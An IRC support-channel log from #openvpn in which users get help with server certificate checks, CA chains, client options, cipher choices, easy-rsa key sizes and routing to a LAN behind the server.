06:27 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
06:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:38 < jonascj> Okay, I've got the server up and running and I can almost connect with a client. The client is set to check if the server ceritificate has the extension "ns-cert-type" set to "server". That extension is not set on my server cert and therefor the connection attempt is aborted. Here http://openvpn.net/index.php/open-source/documentation/howto.html#mitm they sayt he prefered methos for Openvpn 2.1 and above is buld-key-server since this will be "setting the right 
06:38 <@vpnHelper> Title: HOWTO (at openvpn.net)
06:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:39 < jonascj> It is not just setting nsCertType=server in the certificate, because then the client config should have this "ns-cert-type server" and the howto says to check with "remote-cert-tls server" for this prefered option
06:52 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:52 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:52 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:54 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
06:54 -!- Devastatr [~devas@186.214.14.38] has joined #openvpn
06:55 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
07:00 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
07:02 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
07:04 -!- Devastatr [~devas@186.214.14.38] has quit [Changing host]
07:04 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
07:04 -!- Devastatr is now known as Devastator
07:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
07:14 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:14 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:14 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:20 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:20 -!- DrCode_ is now known as DrCode
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:53 -!- dfresha is now known as krapper
08:03 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
08:06 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 276 seconds]
08:08 < [ilin]> hi, shoud "persist-local-ip" keep the source ip and port between reconnects?, i do not fully understand the explination in the manual "Preserve initially resolved local IP address and port number across SIGUSR1 or --ping-restart restarts. ".
08:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:12 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
08:21 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
08:21 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
08:21 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
08:25 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Ping timeout: 264 seconds]
08:26 -!- JackWinter [~jack@vodsl-9783.vo.lu] has joined #openvpn
08:32 -!- mongrelion [~mongrelio@unaffiliated/carlosleon] has joined #openvpn
08:33 -!- Devastatr [~devas@186.214.15.204] has joined #openvpn
08:33 -!- Devastatr [~devas@186.214.15.204] has quit [Changing host]
08:33 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
08:34 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
08:53 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 260 seconds]
09:01 -!- BretosWeeC is now known as Bretos`
09:02 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
09:02 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
09:38 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
09:38 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
09:40 -!- AlHafoudh [~textual@83.168.173.13] has joined #openvpn
09:40 -!- AlHafoudh [~textual@83.168.173.13] has quit [Max SendQ exceeded]
09:40 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has joined #openvpn
09:41 -!- AlHafoudh [~textual@83-168-173-13.rev.swan.sk] has quit [Max SendQ exceeded]
09:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:58 -!- EugeneKay [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
10:01 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
10:10 -!- Devastatr is now known as Devastator
10:14 -!- raidz_away is now known as raidz
10:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:30 -!- jonascj [~jonas@emp.sdu.dk] has quit [Ping timeout: 252 seconds]
10:42 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:49 -!- Kireji [~nospam@biocontact.org] has joined #openvpn
10:49 < Kireji> is this accurate http://www.reddit.com/r/politics/comments/1mwxqd/close_the_nsas_back_doors_the_nyt_the_guardian/ccdrb81 and how does it affect security using openvpn?
10:49 <@vpnHelper> Title: SteveJEO comments on Close the N.S.A.’s Back Doors: The NYT, The Guardian and ProPublica recently reported that the NSA now has access to the codes that protect commerce and banking systems, trade secrets and medical records, and everyone’s e-mail and Internet chat messages, including VPNs (at www.reddit.com)
10:51 <+pekster> It doesn't really. It's a bunch of FUD. If you care about security, harden your setups in the usual ways
10:52 <+pekster> We don't support non-OpenVPN stuff here, including "info" from reddit. If you want to harden openvpn, read about --tls-auth and --tls-cipher as good places to start
10:52 <+pekster> tl;dr here is that "no, not all crypto everywhere is broken"
10:52 < Aketzu> typically openvpn setups use own CA and don't buy client certs from verisign
10:53 <+pekster> It's not the "buying of the cert" that's the issue: TLS can be configured in lots of ways
10:53 <+pekster> So no, that really has nothing to do with this
10:53 <+pekster> There's no "backdoor" with global-CA certs becuase only you have the private key
10:54 <+pekster> (though the issue of global CAs being globally trusted in browsers is a different issue, but take it to ##networking if you want to learn about it)
10:55 -!- jonascj [~jonas@002129156014.mbb.telenor.dk] has joined #openvpn
10:56 < Aketzu> I was thinking of if openvpn "trusts" verisign then anyone can get client cert there and connect to your vpn
10:57 <+pekster> Read about --tls-verify for easy ways to "only trust some clients signed by a CA"
10:58 <+pekster> As I said earlier, set up poorly openvpn can indeed be insecure; it's up to the designer to set it up to meet the security needs
11:01 < rob0> (You'd be insane to use a Verisign certificate for openvpn anyway: do you want Verisign to control who has access to your VPN?)
11:03 < Aketzu> .. that's what people do with https :)
11:03 <+pekster> They'd be unable to allow someone new in if you did your job right
11:03 <+pekster> If not, yes. I can leave my home unlocked too, but choose not to
11:04 <+pekster> --ccd-exclusive is an easy way to fix the "I don't control the CA but for some propably poor or undefined reason want to use certs issued by them anyway" problem. Best to avoid it and run your own CA in the first place
11:04 < rob0> I never lock my house, what would be the point? A dishonest person who wants in would be no more than a torn screen or broken window away from getting in.
11:06 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
11:14 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
11:16 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
11:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:16 -!- mode/#openvpn [+v s7r] by ChanServ
11:28 -!- _bt [foobar@77.240.12.157] has quit [Changing host]
11:28 -!- _bt [foobar@unaffiliated/bt/x-192343] has joined #openvpn
11:28 < Kireji> pekster: thank you
11:29 <+pekster> Sure. Here's my version on the news stories: "Insecurely configured encryption can be broken by people with the funding and know-how to break it on a massive scale." This has been known for years/decades (just see PPTP) and shouldn't come as a surprise to anyone
11:30 <+pekster> If anyone in the security industry is surprised, they haven't been paying attention
11:31 <@krzee> ^ that
11:31 < Kireji> pekster: I guess for me, the line (news/hype/etc) seems to be shifting away from "öInsecurely configured encryption" to "most ecryption standards" and it's really hard for me without being a full time professional i nthe field to know the difference
11:31 < Kireji> we already use tls-auth
11:31 <@krzee> basically then only new info i got was that we got it confirmed that they dont use quantum computing to break crypto yet *whew*
11:31 <@krzee> s/then/the/
11:32 <+pekster> kisom: I'd highly recommend locking down --tls-cipher to favorable ones only
11:32 <+pekster> Otherwise, just see `openvpn --show-tls` for all the low-grade crap a MITM can downgrade you to
11:33 <+pekster> Same issue with https still allowing RC4 crypto; just try turning it off someday in your browser and see how many sites "break" because their admins require it
11:33 <+pekster> Kireji: ^^ that was for you (sorry kisom )
11:33 -!- jonascj [~jonas@002129156014.mbb.telenor.dk] has quit [Ping timeout: 248 seconds]
11:38 -!- borei [~dan@S010678cd8e7ac150.vs.shawcable.net] has joined #openvpn
11:38 < borei> hi all
11:38 < borei> need some heads up with certificates
11:39 < borei> i have the following tree(s) RootCA --> SystemCA --> Individual.cert.pem and
11:39 < borei> RootCA --> HostsCA-- host.cert.pem
11:40 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
11:40 < borei> i bundled RootCA, SystemCA and HostCA into BundleCA and it's used as "ca" in the configuration
11:40 -!- folivora [~out@46.19.34.64] has quit [Quit: leaving]
11:40 < borei> but TLS handshake is not happy
11:42 < borei> anybody ?
11:43 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 268 seconds]
11:45 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:46 -!- Kireji [~nospam@biocontact.org] has left #openvpn []
11:47 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Excess Flood]
11:52 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:55 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has quit [Read error: Connection reset by peer]
11:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 262 seconds]
11:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
12:00 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 256 seconds]
12:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:20 -!- mongrelion [~mongrelio@unaffiliated/carlosleon] has quit [Ping timeout: 248 seconds]
12:24 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
12:37 -!- mongrelion [~mongrelio@37.139.10.229] has joined #openvpn
12:37 -!- mongrelion is now known as Guest36633
12:51 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:58 -!- toothe [~mongolian@unaffiliated/toothe] has left #openvpn []
13:01 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
13:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
13:04 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
13:06 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
13:08 < borei> anybody ?
13:08 < borei> really need help
13:09 -!- Guest36633 [~mongrelio@37.139.10.229] has left #openvpn []
13:15 -!- niceone1 [~anon@184.46.40.60] has joined #openvpn
13:15 < niceone1> hey can anyone help with a problem
13:15 < niceone1> I get Options error: --nobind doesn't make sense unless used with --remote
13:15 < niceone1> in syslog when I try to start openvpn
13:16 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
13:16 -!- APTX [~APTX@unaffiliated/aptx] has quit [Ping timeout: 248 seconds]
13:18 < borei> does anybody here has experience with certificate chains ?
13:20 < rob0> niceone1, apparently you used "nobind" in your config which does not also include "remote". That makes no sense. What can we bind?
13:20 <+pekster> borei: Have a copy of the log where it complains?
13:20 < borei> yup
13:20 < borei> level 9
13:20 < niceone1> rob0: so I shuold choose one or the other:
13:20 <+pekster> borei: Use 4 please
13:20 <+pekster> >=6 is for debug only
13:20 < borei> 10-4
13:21 <+pekster> borei: Both ends have the combined CA cert, right? With the root and your 2 intermediates?
13:21 < niceone1> rob0: which one is more "secure"
13:22 <+pekster> niceone1: No difference: security is provided by the TLS channel and the HMAC (signature alg.) Ports are just to transport the data
13:22 < borei> yes
13:22 <+pekster> I'd recommend --nobind for a variety of reasons, primarily being able to run >1 VPN at the same time
13:23 <+pekster> borei: IIRC that should be all you need, but I haven't done that setup for a while
13:23 < borei> was trying to put them into one file. was trying to extra-certs option, was trying to use capath - no luck
13:23 < niceone1> pekster: so, I just have to inclde both --nobind and --remote
13:23 <+pekster> Logs should have more info, but the --ca descsription in the manpage says you just need to be able to validate incoming and local certs
13:23 < niceone1> pekster: like the errror said
13:23 <+pekster> niceone1: Right; --nobind makes zero sense without --remote (if you're not remotely connecting to something, you need a _defined_ port to listen on)
13:24 < rob0> !goal
13:24 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:24 < rob0> niceone1, not knowing your goal, I am not going to try to answer you.
13:25 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:26 < borei> http://pastebin.com/m5sp831D
13:27 < borei> part of the log before error
13:30 < borei> is it good enough ?
13:30 -!- Denial [Denial@05417302.skybroadband.com] has quit []
13:31 < niceone1> pekster: I want to access the internet over my vpn. I see there is a nobind  in the conf file already. should I add a remote or...
13:33 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
13:33 -!- Devastator [~devas@177.18.199.97] has joined #openvpn
13:34 < niceone1> pekster: adding remote to the .conf file dosen't fix
13:37 < borei> pekster: is there any hint for you ?
13:38 <+pekster> niceone1: NFI. If you are a client you need a --remote directive, otherwise nothing happens. Try !howto if you have no clue what any of this means
13:38 <+pekster> borei: The other end should have the relevant error message
13:38 <+pekster> That just means that the handshake didn't complete in the timeout period
13:39 < niceone1> !howto
13:39 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:40 < borei> tons of
13:41 < borei> "TLS Error: Unroutable control packet received from"
13:41 <+pekster> The errir will be before that
13:41 < niceone1> pekster: but i have remote openvpn.server.net in my config. shouldnt that be enough
13:45 <+pekster> If you had that you wouldn't have received the error message you pasted earlier
13:46 <+pekster> !configs
13:46 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:46 <+pekster> !logs
13:46 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:46 <+pekster> (verb 4 is sufficient here.) Please include all that, preferiably in a single paste entry:
13:46 < borei> pekster: you are da-man !!!
13:46 <+pekster> !paste
13:46 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
13:46 < borei> VERIFY ERROR: depth=0, error=unable to get local issuer certificate:
13:46 -!- Infinitum [~infinitum@212.41.136.179] has joined #openvpn
13:47 < borei> how to tell to use depth > 0 ?
13:47 <+pekster> It will automatically (depth 1 is normally the entity cert, while depth 0 is the CA. You'll have 0 through 2)
13:48 <+pekster> That's the client complaining it can't find the issuer
13:48 < borei> yes
13:48 < borei> but i have bundle on the client side
13:48 < Infinitum> what is generally a better choice for block cipher mode ? aes-256-gmac aes-256-gcm or aes-256-ctr ?
13:49 < niceone1> !logfile
13:49 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
13:53 -!- EugeneKay [eugene@codingforjes.us] has quit [Ping timeout: 260 seconds]
13:53 <+pekster> borei: Any chance you can try a manual openssl verification? Take the cert the remote end is presenting and verify it against your CA bundle with `openssl verify -verbose -CAfile ca-bundle.pem copy-of-remote-entity.crt` or such
13:54 < borei> yup, i did, and i was getting ok
13:54 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has joined #openvpn
13:55 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
13:59 < niceone1> so the remote option in config file tells it what server to connect to. I have that in the file but the log keeps saying there is no --remote
14:02 < NEone> niceone1: Does your file also have a line "client"?
14:02 < niceone1> NEone: Yes
14:03 <+pekster> Don't necessarily need --client with --remote. Since I haven't seen any of the configs/logs asked for, "something is obviously wrong" is the best you'll get
14:04 -!- jonascj [~jonas@002129156014.mbb.telenor.dk] has joined #openvpn
14:04 < NEone> niceone1: Does that "remote" line also contain a portnumber?
14:04 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-qtnwdmqoguitjlad] has quit [Excess Flood]
14:05 < niceone1> NEone: I have multipule ones to choose from, some do some don't. neither work
14:06 < niceone1> pekster: what logs in pactulair would you like to see?
14:06 < NEone> I want to make AES-256 encrypted connection. But all the tutorials as well as the easy-rsa tool only describe how to make "rsa" certs - no description about how to use AES-256. Any help?
14:06 <+pekster> niceone1: No clue. You've clearly done something wrong, yet refuse or choose not to show your configs
14:07 <+pekster> !topsecret
14:07 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
14:07 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-gtumdjtmlaphozhm] has joined #openvpn
14:07 <+pekster> If you've done everything right, you don't get fatal errors
14:08 -!- jonascj [~jonas@002129156014.mbb.telenor.dk] has quit [Ping timeout: 256 seconds]
14:09 <@krzee> NEone, you want --cipher
14:09 < niceone1> pekster: thats not it at all. I can pastebin whatever logs or configs you request. where does openvpn log to anyhow
14:09 <@krzee> niceone1, you typed !logfile earlier, that answered that
14:09 -!- jonascj [~jonas@0x4dd5cd09.adsl.cybercity.dk] has joined #openvpn
14:10 < NEone> krzee: So I need openssl genrsa --cipher ?
14:11 <+pekster> Since your get fatal errors, obviously !configs are needed. !logs may be required too depending on the nature of the problem; at the very least the logs from the problem side will be required
14:12 < NEone> krzee: Sry, that doesn't work.
14:12 < niceone1> pekster: thanks
14:12 <+pekster> NEone: The certs are independent of the data encryption
14:12 <@krzee> no, you need to read --cipher in the manual, aes256 isnt an option for generating RSA but it is an option for your --cipher
14:12 < rob0> NEone, since this is #openvpn I'd bet that krzee meant for you to look up "--cipher" in the openvpn manual.
14:14 < NEone> Oh. So I create the RSA key using openssl as usual. And then I look up the --cipher option for openvpn and will be able to use AES-256 encryption using that RSA cert. Right?
14:14 <@krzee> yep
14:14 <@krzee> !man
14:14 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:14 < NEone> Great, thanks.
14:14 <@krzee> you may wanna bump up your keybits in the rsa stuff
14:14 <@krzee> like 4096
14:16 < Infinitum> can somebody help me here what is generally a better choice for block cipher mode ? aes-256-gmac aes-256-gcm or aes-256-ctr ?
14:17 <+pekster> Infinitum: symmetric cipher or as part of TLS cipher-suite?
14:18 -!- Devastator [~devas@177.18.199.97] has quit [Changing host]
14:18 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:19 < Infinitum> as a pre shared key.. or what do you mean
14:19 <+pekster> You're asking about encryption modes and you don't have a clue what for?
14:19 <+pekster> That seems... odd.
14:20 <+pekster> Is this for the symmetric data channel cipher or as the encryption component of the asymmetric TLS cipher-suite you're having OpenVPN use?
14:20 <+pekster> (either way OpenVPN 2.3.2 doesn't support either. A git-master commit allows you to use TLSv1.2 cipher-suites, but you'd need a patched version on both sides)
14:21 < Infinitum> it's for the symmetric cipher
14:22 <+pekster> Yea, you can't use GCM with the symmetric cipher
14:22 <+pekster> `openvpn --show-ciphers`
14:22 <+pekster> You generally want a CBC mode anyway; there's movement to supply a patch to offer GCM, but it doesn't exist today
14:23 <+pekster> Avoid CTR when possible, although some CRT ciphers can be done properly so long as the IV is correctly and uniquely generated; CBC is overall easier to use from a standpoint of saftey in implementations
14:23 <+pekster> CTR*
14:25 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
14:26 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:29 < Infinitum> I've already found a good resource ^^ http://eprint.iacr.org/2004/193.pdf but thanks anyway :)
14:30 <+pekster> Then why be annoying and repeat your question several times then say you already have the resources you want?
14:31 < Infinitum> I just found it
14:31 < niceone1> pekster: Ok so It wasn't running the log at all. now i have moved the .conf to /etc/openvpn. this is the new messages (with more, i have verbosity on 5)
14:31 < NEone> The "easy-rsa" tool doesn't work. It's because I have openssl 1.0.1, but the easy-rsa tool only has a "openssl-1.0.0.cnf". Is it safe to copy this file as "openssl.cnf", modify and use that one?
14:31 <+pekster> Ah, gotcha
14:31 < niceone1> pekster: [#openvpn]
14:32 < niceone1> pekster: rsyslogd-2177: imuxsock begins to drop messages from pid 11029 due to rate-limiting
14:32 <+pekster> That's not helpful
14:32 -!- BarthezZ [~bart@monitoring.deheij-ict.nl] has quit [Ping timeout: 248 seconds]
14:32 <+pekster> That's also not an openvpn log message
14:32 <+pekster> That's rsyslog chatter. I want your _actual_ config files, and _actual_ logs. Any reason that's so hard? !configs and !logs if you didn't see the bot output above
14:36 -!- Infinitum [~infinitum@212.41.136.179] has quit [Read error: Connection reset by peer]
14:40 -!- niceone1 [~anon@184.46.40.60] has quit [Quit: Lost terminal]
14:41 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-gtumdjtmlaphozhm] has quit [Excess Flood]
14:43 -!- BarthezZ [~bart@monitoring.deheij-ict.nl] has joined #openvpn
14:43 < NEone> Does this channel also provide support for "easy-rsa" tool (which was installed together with openvpn, AFAIK), or is there another channel specifically for this?
14:48 <+pekster> Sure:
14:48 <+pekster> !easyrsa
14:48 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
14:48 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-kjnpzuywpweyictq] has joined #openvpn
14:48 <+pekster> As of 2.3 it's not bundled with the program anymore (though the Windows installer still provides it, as to many distro packages)
15:08 < Skapare> CentOS has a separate package for it
15:09 < Skapare> easy-rsa-2.2.0-2.el6.noarch
15:09 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
15:09  * Skapare used http://github.com/downloads/OpenVPN/easy-rsa/easy-rsa-2.2.0_master.tar.gz for Slackware
15:11  * Skapare needs to make a SlackBuild script to package easy-rsa
15:19 < NEone> pekster: Thanks. The tutorials I find all do recommend simply using "server" as the common name when executing "./build-key-server server". Why? Can/should I use the FQDN of that openvpn server I'm creating, instead?
15:20 <+pekster> It doesn't matter
15:21 <+pekster> Easy-RSA (actually openssl) expects the CN to be unique, but otherwise it's completely irrevelent. I have a beta of the "next gen" of easy-rsa that does away with all the silly OU/org/city/state fields at !easyrsa3
15:22 <+pekster> Do note that the X509 structure is sent in cleartext over the wire, so if you said you were Acme Inc at Boston, MA, and the CN was John Doe, that's visible to any passive MITM on the wire. I recommend using generic names, or perhaps a prefix (server, user, etc) followed by the PC name or user initials or ID. OpenVPN doesn't care: name them after colors or states for all it matters
15:25 < NEone> Okay. Named it "unicorn.mydomain.com" now. lol
15:31 < xdarklight> krzee: any news regarding the wheezy repo for swupdate.openvpn.net? ;-)
15:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:35 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
15:36 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:36 -!- mode/#openvpn [+v s7r] by ChanServ
15:37 < NEone> What about the ./build-dh script? It uses 1024 bits for diffie-helmann. Can/should this bitsize be increased as well?
15:38 <+pekster> Use git-master: it sets KEY_SIZE=2048 in vars
15:38 <+pekster> It's not an official release; note that my easyrsa3 beta already does this in the releases
15:41 <@krzee> no, the man i was referred to has been afk since i asked
15:41 <@krzee> mattock_afk, ^^
15:56 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has joined #openvpn
15:57 < baphomet1> hey all!  I am hoping someone could help me finish up my configuration.  I am sure it's something small that I am missing.  I have my tunnel setup on my server at home and I can connect back to it and browse the net and what not, but I cannot browse to clients on the LAN.  Can anyone help me finish up the setup here?  Client is running Ubuntu.
15:58 < EugeneKay> "browse to clients"
15:58 < EugeneKay> Meaning Samba?
15:58 < baphomet1> EugeneKay, yes.  Also, some clients have a web portal setup.  Trying to get to those as well.
15:58 < EugeneKay> !wins
15:58 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
15:59 < baphomet1> EugeneKay, same with router config page.  would like to be able to get to that.
15:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Operation timed out]
15:59 < EugeneKay> !route
15:59 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
15:59 <@vpnHelper> behind the server or client
16:00 < baphomet1> brb.  going to read.
16:03 -!- aji [~alex@atheme/member/aji] has joined #openvpn
16:03 < Skapare> pekster: is anyone gonna make an "easier-rsa" that skips the prompts for cert data that is already provided?
16:05 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
16:11  * hjohnson wishes that the various GUI tools for OpenVPN would include as part of their operation a way to generate the private keys and the signing request..
16:12 < EugeneKay> !xca
16:12 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
16:12 < hjohnson> "congratulations, you've succesfully installed the OpenVPN FOO GUI... Your key has been generated, please cut and paste htis text, and email it to your VPN administrator"
16:12 < hjohnson> EugeneKay: sure, but integrate the client certificate part of it right into the installation procedure for the client software
16:13 < EugeneKay> Ah, that.
16:13 < EugeneKay> If wishes were fishes I'd still eat fucking steak.
16:13 < hjohnson> haha
16:13 < hjohnson> EugeneKay: tbh, this is why I use password auth, backed by a RADIUS server
16:14 < EugeneKay> I think I just threw up a bit in my mouth
16:14 < hjohnson> heh
16:15 < hjohnson> well, I do watch for bogus login attempts and stuff like that.
16:16 < hjohnson> plus the openvpn server is on the far end of a satellite link, so every attempt takes half a second just due to round-trip light time.
16:16 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
16:18 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:19 -!- wallbroken [~wallbroke@151.56.246.53] has joined #openvpn
16:19 < wallbroken> hi
16:19 < wallbroken> i want to ask you: redirection works also without using iptables, just only enable packet forward?
16:23 <+pekster> hjohnson: As it stands now, the client needs the X509 org details to match: how do you propose to know what the CA needs in advance
16:23 <+pekster> That requirement is lifted (as it served no purpose what-so-ever in OpenVPN) with my easyrsa3 code
16:24 <+pekster> write whatever GUI you want on top of openvpn
16:24  * Skapare hates to think of it being underneath some big heavy GUI thing
16:26 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has quit [Quit: Leaving]
16:26 <+pekster> This is why openvpn leaves X509 tasks up to you
16:26 <+pekster> It's a very Unix-alike philosophy
16:29 < Skapare> and that's a good thing
16:30 < Skapare> but I prefer scripts by command line over graphical push buttons
16:31 < hjohnson> pekster: which is fine or those of us who generally know what we're doing.
16:32 < hjohnson> but if I'm trying to deploy to users who aren't technical, is problematic
16:32 <+pekster> I think I just said you can use any GUI you want over openvpn
16:32 <+pekster> How is that a problem?
16:32 <+pekster> Go _write_ one if you don't have one that'll work for you. Did you even see the XCA link you got? Deploy a template with that and have them click pretty buttons
16:32 < Skapare> yeah, GUI is a user choice ... but some of us would not choose GUI
